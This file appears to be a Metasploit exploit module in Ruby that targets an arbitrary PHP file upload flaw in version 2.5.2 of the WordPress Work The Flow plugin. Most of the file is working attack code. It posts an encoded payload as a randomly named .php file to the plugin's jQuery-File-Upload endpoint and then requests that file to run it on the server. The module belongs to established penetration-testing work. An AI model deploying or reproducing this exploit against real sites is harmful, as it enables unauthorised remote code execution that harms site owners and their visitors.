78 lines
2.6 KiB
Ruby
78 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HTTP::Wordpress
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wordpress Work The Flow Upload Vulnerability',
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'Description' => %q{
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This module exploits an arbitrary PHP code upload in the WordPress Work The Flow plugin,
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version 2.5.2. The vulnerability allows for arbitrary file upload and remote code execution.
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},
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'Author' =>
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[
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'Claudio Viviani', # Vulnerability discovery
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['WPVDB', '7883'],
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['EDB', '36640'],
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['PACKETSTORM', '131294']
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],
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'Privileged' => false,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['Work The Flow 2.5.2', {}]],
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'DisclosureDate' => 'Mar 14 2015',
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'DefaultTarget' => 0)
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)
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end
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def check
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check_plugin_version_from_readme('work-the-flow-file-upload', '2.5.4')
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end
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def exploit
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php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
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data = Rex::MIME::Message.new
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data.add_part('upload', nil, nil, 'form-data; name="action"')
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data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files\"; filename=\"#{php_pagename}\"")
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post_data = data.to_s
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res = send_request_cgi({
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'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
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'jQuery-File-Upload-9.5.0', 'server', 'php', 'index.php'),
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'method' => 'POST',
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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})
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if res
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if res.code == 200
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print_good("Our payload is at: #{php_pagename}. Calling payload...")
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register_files_for_cleanup(php_pagename)
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
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end
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else
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fail_with(Failure::Unknown, 'ERROR')
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end
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print_status("Calling payload...")
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send_request_cgi(
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'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
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'jQuery-File-Upload-9.5.0', 'server', 'php', 'files', php_pagename)
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)
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end
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end
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